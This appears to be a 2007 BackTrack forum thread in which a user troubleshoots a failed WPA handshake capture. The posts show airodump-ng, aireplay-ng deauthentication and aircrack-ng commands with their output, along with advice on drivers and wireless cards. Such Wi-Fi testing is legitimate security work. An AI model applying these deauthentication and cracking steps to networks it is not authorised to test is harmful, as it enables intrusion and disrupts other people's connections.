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Thread: Can't get a handshake wpa

  1. #1
    Just burned his ISO
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    Jun 2007
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    9

    Default Can't get a handshake wpa

    Code:
    I have tried it on 2 wifi accespoint en 2 computers.
    1 with airlive pci card en a laptop with intel 3945abg
    
    i use this :
    
    1-------------------------------------------------------
    
    bt ~ #airodump-ng --channel 1 -w test ra0
    
     BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ES
                                                                                   
     00:11:F5:A2:93:CB   -1 100       80        9    4   1  48  WPA  TKIP   PSK  S 
                                                                                   
     BSSID              STATION            PWR  Lost  Packets  Probes              
                                                                                   
     00:11:F5:A2:93:CB  00:19:D2:3B:AF:06   -1     0        1                      
    
    bt ~ #
    
    2---------------------------------------------------
    
    airreplay -0 10 -a 00:11:F5:A2:93:CB -c 00:19:D2:3B:AF:06
    17:33:09  Sending DeAuth to station   -- STMAC: [00:19:D2:3B:AF:06]
    17:33:10  Sending DeAuth to station   -- STMAC: [00:19:D2:3B:AF:06]
    17:33:11  Sending DeAuth to station   -- STMAC: [00:19:D2:3B:AF:06]
    17:33:12  Sending DeAuth to station   -- STMAC: [00:19:D2:3B:AF:06]
    17:33:14  Sending DeAuth to station   -- STMAC: [00:19:D2:3B:AF:06]
    >>>
    bt ~ # 
    
    3------------------------------------------------
    
    bt ~ # aircrack-ng -w pass test-01.cap 
    Opening test-01.cap
    Read 7116 packets.
    
       #  BSSID              ESSID                     Encryption
    
       1  00:11:F5:A2:93:CB  test.nl               WPA (0 handshake)
    
    Choosing first network as target.
    
    No valid WPA handshakes found.
    bt ~ # 
    
    ---------------------------------------------------
    if i disconnect the client en reconnect the client then i have a handshake
    
    what can i do to DeAuth the station.

  2. #2
    Moderator theprez98's Avatar
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    Default

    Your problem is simple; you cannot inject with the IPW3945 driver. See here for the details of how you might solve that problem.
    "\x74\x68\x65\x70\x72\x65\x7a\x39\x38";

  3. #3
    Senior Member PrairieFire's Avatar
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    Apr 2007
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    Default

    Also in the airodump window you will see this once it has one.
    CH 1][ Elapsed: 1 mins ][ 2007-06-24 11:23 ][ WPA handshake: 00:18:XX:XX:XX:XX(MAC OF AP)

    on a side note I have played around with the ipwraw driver that was released recently and if I use
    Code:
    airodump-ng rtap0
    then
    Code:
    aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 wifi0
    It will show a successful wpa handshake at top but if I use
    Code:
    airodump-ng -c 9 - -bssid 00:14:6C:7E:40:80 -w psk rtap0
    It will not work for that method of aireplay.

    Now if using the passive method it works fully with the ipw3945 but only certain aireplay attacks work at this time.
    More info can be found here.
    Μολὼν λαβέ - Great spirits encounter heavy opposition from mediocre minds.

  4. #4
    Just burned his ISO
    Join Date
    Jun 2007
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    9

    Default

    can i use the senao nl-2511cd plus ext2


    or the

    Ubiquiti 300 mW super sensitive 802.11a/b/g Atheros Cardbus adapter met externe antenne aansluiting (mmcx aansluiting). 2.4 en 5 Ghz.

    or what is the best card for wifi with backtrack

  5. #5
    Senior Member shamanvirtuel's Avatar
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    Default

    Again...THERE ARE PLENTY OF THREADS...EVEN STICKIED ONES...please search a little before ask this...these two cards were discuted in the forum many times......
    Watch your back, your packetz will belong to me soon... xD

    BackTrack :
    Giving Machine Guns to Monkeys since 2006

  6. #6
    Moderator theprez98's Avatar
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    Default

    Quote Originally Posted by Eleanor View Post
    what is the best card for wifi with backtrack
    Whatever works best for you.
    "\x74\x68\x65\x70\x72\x65\x7a\x39\x38";

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